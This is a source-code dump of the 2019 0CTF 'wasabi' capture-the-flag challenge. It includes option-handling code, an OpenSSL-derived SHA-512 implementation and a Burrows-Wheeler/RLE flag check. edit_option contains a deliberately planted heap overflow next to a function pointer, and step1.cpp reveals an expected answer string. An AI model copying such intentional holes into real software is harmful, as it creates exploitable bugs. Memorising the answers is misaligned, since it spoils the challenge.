; 83 | } 84 | 85 | new_option->inused = 1; 86 | new_option->rest = 8; 87 | new_option->func = (void (*)())-1; 88 | new_option->content_size = content_size; 89 | new_option->content = content; 90 | 91 | printf("Option content:\n"); 92 | read_n_until(new_option->content, new_option->content_size, '\n'); 93 | 94 | g_options.options[g_options.num_of_valid_option++] = new_option; 95 | } 96 | 97 | #define REQUEST_OPTION(idx, option) do { \ 98 | puts("Option idx:"); \ 99 | idx = read_int(); \ 100 | if (idx == 0 || idx > g_options.num_of_valid_option) { \ 101 | puts("Invalid option index"); \ 102 | return ; \ 103 | } \ 104 | option = g_options.options[--idx]; \ 105 | if (!option) return ; \ 106 | } while (0) 107 | 108 | static void edit_option() 109 | { 110 | struct Option *option = NULL; 111 | uint32_t idx = 0; 112 | REQUEST_OPTION(idx, option); 113 | 114 | puts("Option content size:"); 115 | uint32_t content_size = read_int(); 116 | 117 | // BUG: Overflow at most 15 bytes 118 | if (content_size > 0 && ((content_size & 0xfffffff0) <= option->content_size)) 119 | { 120 | content_size = (content_size & 0xf) ? (((content_size/0x10)+1) * 0x10): content_size; 121 | } 122 | else 123 | { 124 | puts("Invalid Content size"); 125 | return ; 126 | } 127 | 128 | puts("New option content:"); 129 | read_n_until(option->content, content_size, '\n'); 130 | } 131 | 132 | static void del_option() 133 | { 134 | struct Option *option = NULL; 135 | uint32_t idx = 0; 136 | 137 | REQUEST_OPTION(idx, option); 138 | 139 | option->inused = 0; 140 | option->rest = 0; 141 | option->func = (void (*)())0; 142 | 143 | if (option->content) 144 | { 145 | memset(option->content, 0, option->content_size); 146 | free(option->content); 147 | option->content = NULL; 148 | } 149 | 150 | option->content_size = 0; 151 | free(option); 152 | 153 | // left shift 1 154 | if (idx < g_options.num_of_valid_option-1) 155 | { 156 | uint32_t i; 157 | for (i = idx; i < g_options.num_of_valid_option-1; ++i) 158 | { 159 | g_options.options[i] = g_options.options[i+1]; 160 | } 161 | } 162 | g_options.options[--g_options.num_of_valid_option] = NULL; 163 | } 164 | 165 | static void quit_option() 166 | { 167 | _exit(0); 168 | } 169 | 170 | #define STEP2_INPUT_SIZE (0x100) 171 | static void get_flag() 172 | { 173 | puts("Now i'd like to have a zongzi, which flavor do you want?"); 174 | 175 | // read user input 176 | char user_input[STEP2_INPUT_SIZE] = {0}; 177 | fgets(user_input, STEP2_INPUT_SIZE-1, stdin); 178 | if (user_input[strlen(user_input)-1] == '\n') 179 | { 180 | user_input[strlen(user_input)-1] = '\x00'; 181 | } 182 | 183 | // calc sha512 and compare it with our target 184 | uint8_t md[0x100] = {0}; 185 | SHA512((const unsigned char *)user_input, strlen(user_input), md); 186 | 187 | /* 188 | puts("my sha512:"); 189 | for (uint32_t i = 0; i < 0x40; i++) printf("%02x", (uint8_t)(md[i])); 190 | puts(""); 191 | puts("TARGET sha512:"); 192 | for (uint32_t i = 0; i < 0x40; i++) printf("%02x", (uint8_t)(STEP2_SHA512[i])); 193 | puts(""); 194 | */ 195 | if (memcmp(md, STEP2_SHA512, SHA512_DIGEST_LENGTH) != 0) 196 | { 197 | puts("Wait, wait, wait... This is not so good >.<"); 198 | return; 199 | } 200 | 201 | char flag[0x100] = {0}; 202 | DEC_FLAG2(flag); 203 | printf("So u like this flavor, right? %s\n", flag); 204 | 205 | step3(); 206 | } 207 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/option.h: -------------------------------------------------------------------------------- 1 | #ifndef OPTION_H 2 | #define OPTION_H 3 | 4 | #include 5 | 6 | #define MAX_OPTION_NAME_SIZE (0x40) 7 | struct Option 8 | { 9 | uint32_t inused; 10 | uint32_t rest; 11 | uint32_t reserved; 12 | void (*func)(); 13 | uint32_t content_size; 14 | char *content; 15 | }; 16 | 17 | #define MAX_OPTION_NUM (16U) 18 | struct Options 19 | { 20 | struct Option **options; 21 | uint32_t num_of_valid_option; 22 | }; 23 | 24 | 25 | void init_options(); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/sha.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 1995-2016 The OpenSSL Project Authors. All Rights Reserved. 3 | * 4 | * Licensed under the OpenSSL license (the "License"). You may not use 5 | * this file except in compliance with the License. You can obtain a copy 6 | * in the file LICENSE in the source distribution or at 7 | * https://www.openssl.org/source/license.html 8 | */ 9 | 10 | #ifndef HEADER_SHA_H 11 | # define HEADER_SHA_H 12 | 13 | # include 14 | 15 | #ifdef __cplusplus 16 | extern "C" { 17 | #endif 18 | 19 | /*- 20 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 21 | * ! SHA_LONG has to be at least 32 bits wide. ! 22 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 23 | */ 24 | # define SHA_LONG unsigned int 25 | 26 | # define SHA_LBLOCK 16 27 | 28 | # define SHA224_DIGEST_LENGTH 28 29 | # define SHA256_DIGEST_LENGTH 32 30 | # define SHA384_DIGEST_LENGTH 48 31 | # define SHA512_DIGEST_LENGTH 64 32 | 33 | /* 34 | * Unlike 32-bit digest algorithms, SHA-512 *relies* on SHA_LONG64 35 | * being exactly 64-bit wide. See Implementation Notes in sha512.c 36 | * for further details. 37 | */ 38 | /* 39 | * SHA-512 treats input data as a 40 | * contiguous array of 64 bit 41 | * wide big-endian values. 42 | */ 43 | # define SHA512_CBLOCK (SHA_LBLOCK*8) 44 | # define SHA_LONG64 unsigned long long 45 | # define U64(C) C##ULL 46 | 47 | typedef struct SHA512state_st { 48 | SHA_LONG64 h[8]; 49 | SHA_LONG64 Nl, Nh; 50 | union { 51 | SHA_LONG64 d[SHA_LBLOCK]; 52 | unsigned char p[SHA512_CBLOCK]; 53 | } u; 54 | unsigned int num, md_len; 55 | } SHA512_CTX; 56 | 57 | int SHA512_Init(SHA512_CTX *c); 58 | int SHA512_Update(SHA512_CTX *c, const void *data, size_t len); 59 | int SHA512_Final(unsigned char *md, SHA512_CTX *c); 60 | unsigned char *SHA512(const unsigned char *d, size_t n, unsigned char *md); 61 | void SHA512_Transform(SHA512_CTX *c, const unsigned char *data); 62 | 63 | #ifdef __cplusplus 64 | } 65 | #endif 66 | 67 | #endif 68 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/sha512.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2004-2018 The OpenSSL Project Authors. All Rights Reserved. 3 | * 4 | * Licensed under the OpenSSL license (the "License"). You may not use 5 | * this file except in compliance with the License. You can obtain a copy 6 | * in the file LICENSE in the source distribution or at 7 | * https://www.openssl.org/source/license.html 8 | */ 9 | 10 | #include 11 | #include 12 | 13 | #include "sha.h" 14 | 15 | int SHA512_Init(SHA512_CTX *c) 16 | { 17 | c->h[0] = U64(0x6a09e667f3bcc908); 18 | c->h[1] = U64(0xbb67ae8584caa73b); 19 | c->h[2] = U64(0x3c6ef372fe94f82b); 20 | c->h[3] = U64(0xa54ff53a5f1d36f1); 21 | c->h[4] = U64(0x510e527fade682d1); 22 | c->h[5] = U64(0x9b05688c2b3e6c1f); 23 | c->h[6] = U64(0x1f83d9abfb41bd6b); 24 | c->h[7] = U64(0x5be0cd19137e2179); 25 | 26 | c->Nl = 0; 27 | c->Nh = 0; 28 | c->num = 0; 29 | c->md_len = SHA512_DIGEST_LENGTH; 30 | return 1; 31 | } 32 | 33 | static void sha512_block_data_order(SHA512_CTX *ctx, const void *in, size_t num); 34 | 35 | int SHA512_Final(unsigned char *md, SHA512_CTX *c) 36 | { 37 | unsigned char *p = (unsigned char *)c->u.p; 38 | size_t n = c->num; 39 | 40 | p[n] = 0x80; /* There always is a room for one */ 41 | n++; 42 | if (n > (sizeof(c->u) - 16)) { 43 | memset(p + n, 0, sizeof(c->u) - n); 44 | n = 0; 45 | sha512_block_data_order(c, p, 1); 46 | } 47 | 48 | memset(p + n, 0, sizeof(c->u) - 16 - n); 49 | p[sizeof(c->u) - 1] = (unsigned char)(c->Nl); 50 | p[sizeof(c->u) - 2] = (unsigned char)(c->Nl >> 8); 51 | p[sizeof(c->u) - 3] = (unsigned char)(c->Nl >> 16); 52 | p[sizeof(c->u) - 4] = (unsigned char)(c->Nl >> 24); 53 | p[sizeof(c->u) - 5] = (unsigned char)(c->Nl >> 32); 54 | p[sizeof(c->u) - 6] = (unsigned char)(c->Nl >> 40); 55 | p[sizeof(c->u) - 7] = (unsigned char)(c->Nl >> 48); 56 | p[sizeof(c->u) - 8] = (unsigned char)(c->Nl >> 56); 57 | p[sizeof(c->u) - 9] = (unsigned char)(c->Nh); 58 | p[sizeof(c->u) - 10] = (unsigned char)(c->Nh >> 8); 59 | p[sizeof(c->u) - 11] = (unsigned char)(c->Nh >> 16); 60 | p[sizeof(c->u) - 12] = (unsigned char)(c->Nh >> 24); 61 | p[sizeof(c->u) - 13] = (unsigned char)(c->Nh >> 32); 62 | p[sizeof(c->u) - 14] = (unsigned char)(c->Nh >> 40); 63 | p[sizeof(c->u) - 15] = (unsigned char)(c->Nh >> 48); 64 | p[sizeof(c->u) - 16] = (unsigned char)(c->Nh >> 56); 65 | 66 | sha512_block_data_order(c, p, 1); 67 | 68 | if (md == 0) 69 | return 0; 70 | 71 | switch (c->md_len) { 72 | /* Let compiler decide if it's appropriate to unroll... */ 73 | case SHA224_DIGEST_LENGTH: 74 | for (n = 0; n < SHA224_DIGEST_LENGTH / 8; n++) { 75 | SHA_LONG64 t = c->h[n]; 76 | 77 | *(md++) = (unsigned char)(t >> 56); 78 | *(md++) = (unsigned char)(t >> 48); 79 | *(md++) = (unsigned char)(t >> 40); 80 | *(md++) = (unsigned char)(t >> 32); 81 | *(md++) = (unsigned char)(t >> 24); 82 | *(md++) = (unsigned char)(t >> 16); 83 | *(md++) = (unsigned char)(t >> 8); 84 | *(md++) = (unsigned char)(t); 85 | } 86 | /* 87 | * For 224 bits, there are four bytes left over that have to be 88 | * processed separately. 89 | */ 90 | { 91 | SHA_LONG64 t = c->h[SHA224_DIGEST_LENGTH / 8]; 92 | 93 | *(md++) = (unsigned char)(t >> 56); 94 | *(md++) = (unsigned char)(t >> 48); 95 | *(md++) = (unsigned char)(t >> 40); 96 | *(md++) = (unsigned char)(t >> 32); 97 | } 98 | break; 99 | case SHA256_DIGEST_LENGTH: 100 | for (n = 0; n < SHA256_DIGEST_LENGTH / 8; n++) { 101 | SHA_LONG64 t = c->h[n]; 102 | 103 | *(md++) = (unsigned char)(t >> 56); 104 | *(md++) = (unsigned char)(t >> 48); 105 | *(md++) = (unsigned char)(t >> 40); 106 | *(md++) = (unsigned char)(t >> 32); 107 | *(md++) = (unsigned char)(t >> 24); 108 | *(md++) = (unsigned char)(t >> 16); 109 | *(md++) = (unsigned char)(t >> 8); 110 | *(md++) = (unsigned char)(t); 111 | } 112 | break; 113 | case SHA384_DIGEST_LENGTH: 114 | for (n = 0; n < SHA384_DIGEST_LENGTH / 8; n++) { 115 | SHA_LONG64 t = c->h[n]; 116 | 117 | *(md++) = (unsigned char)(t >> 56); 118 | *(md++) = (unsigned char)(t >> 48); 119 | *(md++) = (unsigned char)(t >> 40); 120 | *(md++) = (unsigned char)(t >> 32); 121 | *(md++) = (unsigned char)(t >> 24); 122 | *(md++) = (unsigned char)(t >> 16); 123 | *(md++) = (unsigned char)(t >> 8); 124 | *(md++) = (unsigned char)(t); 125 | } 126 | break; 127 | case SHA512_DIGEST_LENGTH: 128 | for (n = 0; n < SHA512_DIGEST_LENGTH / 8; n++) { 129 | SHA_LONG64 t = c->h[n]; 130 | 131 | *(md++) = (unsigned char)(t >> 56); 132 | *(md++) = (unsigned char)(t >> 48); 133 | *(md++) = (unsigned char)(t >> 40); 134 | *(md++) = (unsigned char)(t >> 32); 135 | *(md++) = (unsigned char)(t >> 24); 136 | *(md++) = (unsigned char)(t >> 16); 137 | *(md++) = (unsigned char)(t >> 8); 138 | *(md++) = (unsigned char)(t); 139 | } 140 | break; 141 | /* ... as well as make sure md_len is not abused. */ 142 | default: 143 | return 0; 144 | } 145 | 146 | return 1; 147 | } 148 | 149 | int SHA512_Update(SHA512_CTX *c, const void *_data, size_t len) 150 | { 151 | SHA_LONG64 l; 152 | unsigned char *p = c->u.p; 153 | const unsigned char *data = (const unsigned char *)_data; 154 | 155 | if (len == 0) 156 | return 1; 157 | 158 | l = (c->Nl + (((SHA_LONG64) len) << 3)) & U64(0xffffffffffffffff); 159 | if (l < c->Nl) 160 | c->Nh++; 161 | if (sizeof(len) >= 8) 162 | c->Nh += (((SHA_LONG64) len) >> 61); 163 | c->Nl = l; 164 | 165 | if (c->num != 0) { 166 | size_t n = sizeof(c->u) - c->num; 167 | 168 | if (len < n) { 169 | memcpy(p + c->num, data, len), c->num += (unsigned int)len; 170 | return 1; 171 | } else { 172 | memcpy(p + c->num, data, n), c->num = 0; 173 | len -= n, data += n; 174 | sha512_block_data_order(c, p, 1); 175 | } 176 | } 177 | 178 | if (len >= sizeof(c->u)) { 179 | if ((size_t)data % sizeof(c->u.d[0]) != 0) 180 | while (len >= sizeof(c->u)) 181 | memcpy(p, data, sizeof(c->u)), 182 | sha512_block_data_order(c, p, 1), 183 | len -= sizeof(c->u), data += sizeof(c->u); 184 | else 185 | sha512_block_data_order(c, data, len / sizeof(c->u)), 186 | data += len, len %= sizeof(c->u), data -= len; 187 | } 188 | 189 | if (len != 0) 190 | memcpy(p, data, len), c->num = (int)len; 191 | 192 | return 1; 193 | } 194 | 195 | void SHA512_Transform(SHA512_CTX *c, const unsigned char *data) 196 | { 197 | if ((size_t)data % sizeof(c->u.d[0]) != 0) 198 | memcpy(c->u.p, data, sizeof(c->u.p)), data = c->u.p; 199 | sha512_block_data_order(c, data, 1); 200 | } 201 | 202 | typedef void *(*memset_t)(void *, int, size_t); 203 | 204 | static volatile memset_t memset_func = memset; 205 | 206 | void OPENSSL_cleanse(void *ptr, size_t len) 207 | { 208 | memset_func(ptr, 0, len); 209 | } 210 | 211 | unsigned char *SHA512(const unsigned char *d, size_t n, unsigned char *md) 212 | { 213 | SHA512_CTX c; 214 | static unsigned char m[SHA512_DIGEST_LENGTH]; 215 | 216 | if (md == NULL) 217 | md = m; 218 | SHA512_Init(&c); 219 | SHA512_Update(&c, d, n); 220 | SHA512_Final(md, &c); 221 | OPENSSL_cleanse(&c, sizeof(c)); 222 | return md; 223 | } 224 | 225 | static const SHA_LONG64 K512[80] = { 226 | U64(0x428a2f98d728ae22), U64(0x7137449123ef65cd), 227 | U64(0xb5c0fbcfec4d3b2f), U64(0xe9b5dba58189dbbc), 228 | U64(0x3956c25bf348b538), U64(0x59f111f1b605d019), 229 | U64(0x923f82a4af194f9b), U64(0xab1c5ed5da6d8118), 230 | U64(0xd807aa98a3030242), U64(0x12835b0145706fbe), 231 | U64(0x243185be4ee4b28c), U64(0x550c7dc3d5ffb4e2), 232 | U64(0x72be5d74f27b896f), U64(0x80deb1fe3b1696b1), 233 | U64(0x9bdc06a725c71235), U64(0xc19bf174cf692694), 234 | U64(0xe49b69c19ef14ad2), U64(0xefbe4786384f25e3), 235 | U64(0x0fc19dc68b8cd5b5), U64(0x240ca1cc77ac9c65), 236 | U64(0x2de92c6f592b0275), U64(0x4a7484aa6ea6e483), 237 | U64(0x5cb0a9dcbd41fbd4), U64(0x76f988da831153b5), 238 | U64(0x983e5152ee66dfab), U64(0xa831c66d2db43210), 239 | U64(0xb00327c898fb213f), U64(0xbf597fc7beef0ee4), 240 | U64(0xc6e00bf33da88fc2), U64(0xd5a79147930aa725), 241 | U64(0x06ca6351e003826f), U64(0x142929670a0e6e70), 242 | U64(0x27b70a8546d22ffc), U64(0x2e1b21385c26c926), 243 | U64(0x4d2c6dfc5ac42aed), U64(0x53380d139d95b3df), 244 | U64(0x650a73548baf63de), U64(0x766a0abb3c77b2a8), 245 | U64(0x81c2c92e47edaee6), U64(0x92722c851482353b), 246 | U64(0xa2bfe8a14cf10364), U64(0xa81a664bbc423001), 247 | U64(0xc24b8b70d0f89791), U64(0xc76c51a30654be30), 248 | U64(0xd192e819d6ef5218), U64(0xd69906245565a910), 249 | U64(0xf40e35855771202a), U64(0x106aa07032bbd1b8), 250 | U64(0x19a4c116b8d2d0c8), U64(0x1e376c085141ab53), 251 | U64(0x2748774cdf8eeb99), U64(0x34b0bcb5e19b48a8), 252 | U64(0x391c0cb3c5c95a63), U64(0x4ed8aa4ae3418acb), 253 | U64(0x5b9cca4f7763e373), U64(0x682e6ff3d6b2b8a3), 254 | U64(0x748f82ee5defb2fc), U64(0x78a5636f43172f60), 255 | U64(0x84c87814a1f0ab72), U64(0x8cc702081a6439ec), 256 | U64(0x90befffa23631e28), U64(0xa4506cebde82bde9), 257 | U64(0xbef9a3f7b2c67915), U64(0xc67178f2e372532b), 258 | U64(0xca273eceea26619c), U64(0xd186b8c721c0c207), 259 | U64(0xeada7dd6cde0eb1e), U64(0xf57d4f7fee6ed178), 260 | U64(0x06f067aa72176fba), U64(0x0a637dc5a2c898a6), 261 | U64(0x113f9804bef90dae), U64(0x1b710b35131c471b), 262 | U64(0x28db77f523047d84), U64(0x32caab7b40c72493), 263 | U64(0x3c9ebe0a15c9bebc), U64(0x431d67c49c100d4c), 264 | U64(0x4cc5d4becb3e42b6), U64(0x597f299cfc657e2a), 265 | U64(0x5fcb6fab3ad6faec), U64(0x6c44198c4a475817) 266 | }; 267 | 268 | # ifndef PULL64 269 | # define B(x,j) (((SHA_LONG64)(*(((const unsigned char *)(&x))+j)))<<((7-j)*8)) 270 | # define PULL64(x) (B(x,0)|B(x,1)|B(x,2)|B(x,3)|B(x,4)|B(x,5)|B(x,6)|B(x,7)) 271 | # endif 272 | # ifndef ROTR 273 | # define ROTR(x,s) (((x)>>s) | (x)<<(64-s)) 274 | # endif 275 | # define Sigma0(x) (ROTR((x),28) ^ ROTR((x),34) ^ ROTR((x),39)) 276 | # define Sigma1(x) (ROTR((x),14) ^ ROTR((x),18) ^ ROTR((x),41)) 277 | # define sigma0(x) (ROTR((x),1) ^ ROTR((x),8) ^ ((x)>>7)) 278 | # define sigma1(x) (ROTR((x),19) ^ ROTR((x),61) ^ ((x)>>6)) 279 | # define Ch(x,y,z) (((x) & (y)) ^ ((~(x)) & (z))) 280 | # define Maj(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z))) 281 | 282 | # define ROUND_00_15(i,a,b,c,d,e,f,g,h) do { \ 283 | T1 += h + Sigma1(e) + Ch(e,f,g) + K512[i]; \ 284 | h = Sigma0(a) + Maj(a,b,c); \ 285 | d += T1; h += T1; } while (0) 286 | 287 | # define ROUND_16_80(i,j,a,b,c,d,e,f,g,h,X) do { \ 288 | s0 = X[(j+1)&0x0f]; s0 = sigma0(s0); \ 289 | s1 = X[(j+14)&0x0f]; s1 = sigma1(s1); \ 290 | T1 = X[(j)&0x0f] += s0 + s1 + X[(j+9)&0x0f]; \ 291 | ROUND_00_15(i+j,a,b,c,d,e,f,g,h); } while (0) 292 | 293 | static void sha512_block_data_order(SHA512_CTX *ctx, const void *in, 294 | size_t num) 295 | { 296 | const SHA_LONG64 *W = in; 297 | SHA_LONG64 a, b, c, d, e, f, g, h, s0, s1, T1; 298 | SHA_LONG64 X[16]; 299 | int i; 300 | 301 | while (num--) { 302 | 303 | a = ctx->h[0]; 304 | b = ctx->h[1]; 305 | c = ctx->h[2]; 306 | d = ctx->h[3]; 307 | e = ctx->h[4]; 308 | f = ctx->h[5]; 309 | g = ctx->h[6]; 310 | h = ctx->h[7]; 311 | 312 | T1 = X[0] = PULL64(W[0]); 313 | ROUND_00_15(0, a, b, c, d, e, f, g, h); 314 | T1 = X[1] = PULL64(W[1]); 315 | ROUND_00_15(1, h, a, b, c, d, e, f, g); 316 | T1 = X[2] = PULL64(W[2]); 317 | ROUND_00_15(2, g, h, a, b, c, d, e, f); 318 | T1 = X[3] = PULL64(W[3]); 319 | ROUND_00_15(3, f, g, h, a, b, c, d, e); 320 | T1 = X[4] = PULL64(W[4]); 321 | ROUND_00_15(4, e, f, g, h, a, b, c, d); 322 | T1 = X[5] = PULL64(W[5]); 323 | ROUND_00_15(5, d, e, f, g, h, a, b, c); 324 | T1 = X[6] = PULL64(W[6]); 325 | ROUND_00_15(6, c, d, e, f, g, h, a, b); 326 | T1 = X[7] = PULL64(W[7]); 327 | ROUND_00_15(7, b, c, d, e, f, g, h, a); 328 | T1 = X[8] = PULL64(W[8]); 329 | ROUND_00_15(8, a, b, c, d, e, f, g, h); 330 | T1 = X[9] = PULL64(W[9]); 331 | ROUND_00_15(9, h, a, b, c, d, e, f, g); 332 | T1 = X[10] = PULL64(W[10]); 333 | ROUND_00_15(10, g, h, a, b, c, d, e, f); 334 | T1 = X[11] = PULL64(W[11]); 335 | ROUND_00_15(11, f, g, h, a, b, c, d, e); 336 | T1 = X[12] = PULL64(W[12]); 337 | ROUND_00_15(12, e, f, g, h, a, b, c, d); 338 | T1 = X[13] = PULL64(W[13]); 339 | ROUND_00_15(13, d, e, f, g, h, a, b, c); 340 | T1 = X[14] = PULL64(W[14]); 341 | ROUND_00_15(14, c, d, e, f, g, h, a, b); 342 | T1 = X[15] = PULL64(W[15]); 343 | ROUND_00_15(15, b, c, d, e, f, g, h, a); 344 | 345 | for (i = 16; i < 80; i += 16) { 346 | ROUND_16_80(i, 0, a, b, c, d, e, f, g, h, X); 347 | ROUND_16_80(i, 1, h, a, b, c, d, e, f, g, X); 348 | ROUND_16_80(i, 2, g, h, a, b, c, d, e, f, X); 349 | ROUND_16_80(i, 3, f, g, h, a, b, c, d, e, X); 350 | ROUND_16_80(i, 4, e, f, g, h, a, b, c, d, X); 351 | ROUND_16_80(i, 5, d, e, f, g, h, a, b, c, X); 352 | ROUND_16_80(i, 6, c, d, e, f, g, h, a, b, X); 353 | ROUND_16_80(i, 7, b, c, d, e, f, g, h, a, X); 354 | ROUND_16_80(i, 8, a, b, c, d, e, f, g, h, X); 355 | ROUND_16_80(i, 9, h, a, b, c, d, e, f, g, X); 356 | ROUND_16_80(i, 10, g, h, a, b, c, d, e, f, X); 357 | ROUND_16_80(i, 11, f, g, h, a, b, c, d, e, X); 358 | ROUND_16_80(i, 12, e, f, g, h, a, b, c, d, X); 359 | ROUND_16_80(i, 13, d, e, f, g, h, a, b, c, X); 360 | ROUND_16_80(i, 14, c, d, e, f, g, h, a, b, X); 361 | ROUND_16_80(i, 15, b, c, d, e, f, g, h, a, X); 362 | } 363 | 364 | ctx->h[0] += a; 365 | ctx->h[1] += b; 366 | ctx->h[2] += c; 367 | ctx->h[3] += d; 368 | ctx->h[4] += e; 369 | ctx->h[5] += f; 370 | ctx->h[6] += g; 371 | ctx->h[7] += h; 372 | 373 | W += SHA_LBLOCK; 374 | } 375 | } 376 | 377 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/step1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "step1.h" 8 | #include "config.h" 9 | 10 | 11 | static int bwt(char *input, uint32_t input_size, char *output, uint32_t *output_size) 12 | { 13 | if (!input || !output || !output_size) 14 | return 0; 15 | 16 | if (strchr(input, START_CHR) || strchr(input, END_CHR) || input_size >= MAX_INPUT_SIZE) 17 | { 18 | puts("Invalid username"); 19 | return 0; 20 | } 21 | 22 | for (uint32_t i = 0; i < input_size; i++) 23 | { 24 | if (isdigit(input[i])) 25 | { 26 | puts("Invalid username"); 27 | return 0; 28 | } 29 | } 30 | 31 | // init output 32 | memset(output, 0, input_size+3); 33 | 34 | // create and init input 35 | char input_ex[MAX_INPUT_SIZE+3] = {0}; 36 | input_ex[0] = START_CHR; 37 | input_ex[input_size+1] = END_CHR; 38 | memcpy(input_ex+1, input, input_size); 39 | 40 | uint32_t ex_length = input_size+2; 41 | 42 | // create && init sort table 43 | uint32_t indexes[MAX_INPUT_SIZE+2]; 44 | 45 | for (uint32_t i = 0; i < ex_length; i++) 46 | { 47 | indexes[i] = i; 48 | } 49 | 50 | // create && init table 51 | char *table[MAX_INPUT_SIZE+2] = {0}; 52 | 53 | for (uint32_t i = 0; i < MAX_INPUT_SIZE+2; i++) 54 | { 55 | table[i] = new char[MAX_INPUT_SIZE+3]; 56 | memset(table[i], 0, MAX_INPUT_SIZE+3); 57 | } 58 | 59 | for (uint32_t i = 0; i < ex_length; i++) 60 | { 61 | for (uint32_t j = 0; j < ex_length; j++) 62 | { 63 | table[j][(j+i) % (ex_length)] = input_ex[i]; 64 | } 65 | } 66 | 67 | // selection sort 68 | for (uint32_t i = 0; i < ex_length-1; i++) 69 | { 70 | uint32_t min = i; 71 | for (uint32_t j = i+1; j < ex_length; j++) 72 | { 73 | if (strcmp(table[indexes[j]], table[indexes[min]]) < 0) 74 | { 75 | min = j; 76 | } 77 | } 78 | uint32_t tmp = indexes[min]; 79 | indexes[min] = indexes[i]; 80 | indexes[i] = tmp; 81 | } 82 | 83 | // generate transform output 84 | for (uint32_t i = 0; i < ex_length; i++) 85 | { 86 | output[i] = table[indexes[i]][ex_length-1]; 87 | } 88 | *output_size = ex_length; 89 | 90 | #ifdef STEP1_DEBUG 91 | for (uint32_t i = 0; i < ex_length; i++) 92 | { 93 | printf("%d, ", indexes[i]); 94 | } 95 | puts(""); 96 | 97 | for (uint32_t i = 0; i < ex_length; i++) 98 | { 99 | for (uint32_t j = 0; j < ex_length+1; j++) 100 | { 101 | printf("%02x", table[i][j]); 102 | } 103 | puts(""); 104 | } 105 | 106 | for (uint32_t i = 0; i < ex_length; i++) 107 | { 108 | printf("%02x", output[i]); 109 | } 110 | puts(""); 111 | #endif 112 | 113 | for (uint32_t i = 0; i < MAX_INPUT_SIZE+2; i++) 114 | { 115 | delete [](table[i]); 116 | } 117 | return 1; 118 | } 119 | 120 | static int rle(char *input, uint32_t in_size, char *output, uint32_t *out_size) 121 | { 122 | if (!input || !output || !out_size || in_size < 1 || *out_size < 1) 123 | { 124 | return 0; 125 | } 126 | 127 | uint32_t last_num = 1; 128 | char last_chr = input[0]; 129 | 130 | for (uint32_t i = 1; i < in_size; i++) 131 | { 132 | if (input[i] == last_chr) 133 | { 134 | last_num++; 135 | continue; 136 | } 137 | else 138 | { 139 | // break before overflow 140 | if (strlen(output) >= *out_size-2) 141 | { 142 | last_num = 0; 143 | break; 144 | } 145 | snprintf(output+strlen(output), *out_size-strlen(output), 146 | "%c%d", last_chr, last_num); 147 | last_num = 1; 148 | last_chr = input[i]; 149 | } 150 | } 151 | 152 | if (last_num > 0) 153 | { 154 | snprintf(output+strlen(output), *out_size-strlen(output), 155 | "%c%d", last_chr, last_num); 156 | } 157 | 158 | *out_size = strlen(output); 159 | return 1; 160 | } 161 | 162 | int32_t step1() 163 | { 164 | char user_input[MAX_INPUT_SIZE] = {0}; 165 | 166 | puts("Do you like wasabi?"); 167 | fgets(user_input, MAX_INPUT_SIZE-1, stdin); 168 | if (user_input[strlen(user_input)-1] == '\n') 169 | { 170 | user_input[strlen(user_input)-1] = '\x00'; 171 | } 172 | 173 | // do bwt transform 174 | char bwt_output[MAX_INPUT_SIZE+3] = {0}; 175 | uint32_t bwt_out_size = MAX_INPUT_SIZE+3; 176 | if (!bwt(user_input, strlen(user_input), bwt_output, &bwt_out_size)) 177 | { 178 | return STEP1_FAIL; 179 | } 180 | 181 | // do RLE compression 182 | char rle_output[(MAX_INPUT_SIZE+3)*4] = {0}; 183 | uint32_t rle_out_size = (MAX_INPUT_SIZE+3)*4; 184 | if (!rle(bwt_output, bwt_out_size, rle_output, &rle_out_size)) 185 | { 186 | return STEP1_FAIL; 187 | } 188 | 189 | #ifdef STEP1_DEBUG 190 | printf("output(%d): %s\n", rle_out_size, rle_output); 191 | for (uint32_t i = 0; i < rle_out_size; i++) 192 | { 193 | printf("%02x", rle_output[i]); 194 | } 195 | puts(""); 196 | #endif 197 | 198 | // expect: im_hungry_pls_help_e 199 | uint8_t key[] = {0x77, 0x2, 0x9, 0x52, 0x40, 0x5c, 0x16, 0x6e, 0x19, 0x1, 0x26, 0x62, 0x37, 0x5, 0x6, 0x76, 0x6, 0x50, 0x36, 0x6d, 0x29, 0x52, 0x31, 0x57, 0x5f, 0x65, 0xa, 0x45, 0x13, 0x6e, 0x5e, 0x1, 0x6e, 0x8, 0x38, 0x57, 0x5d, 0x5f, 0x5c, 0x5d, 0x1, 0x10}; 200 | const char *welcome = "W3lc0me_t0_Sh4nGhai_0cTf/Tctf_2019_f1n4ls!"; 201 | 202 | for (uint32_t i = 0; i < rle_out_size; i++) 203 | { 204 | rle_output[i] ^= key[i % STEP1_KEY_SIZE]; 205 | } 206 | 207 | #ifdef STEP1_DEBUG 208 | printf("%s\n", rle_output); 209 | #endif 210 | 211 | if (strncmp(welcome, rle_output,strlen(welcome)) == 0) 212 | { 213 | printf("Congraz and flag is flag{%s}\n", user_input); 214 | return STEP1_SUC; 215 | } 216 | return STEP1_FAIL; 217 | } 218 | 219 | #ifdef STEP1_DEBUG 220 | int main() 221 | { 222 | return step1(); 223 | } 224 | #endif 225 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/step1.h: -------------------------------------------------------------------------------- 1 | #ifndef BWT_H 2 | #define BWT_H 3 | 4 | #include 5 | 6 | #define MAX_INPUT_SIZE 0x100 7 | #define STEP1_KEY_SIZE 42 8 | 9 | #define START_CHR ('\x19') 10 | #define END_CHR ('\x20') 11 | //#define START_CHR ('^') 12 | //#define END_CHR ('|') 13 | 14 | #define STEP1_SUC (1) 15 | #define STEP1_FAIL (2) 16 | 17 | //#define STEP1_DEBUG 18 | 19 | int32_t step1(); 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/step2.h: 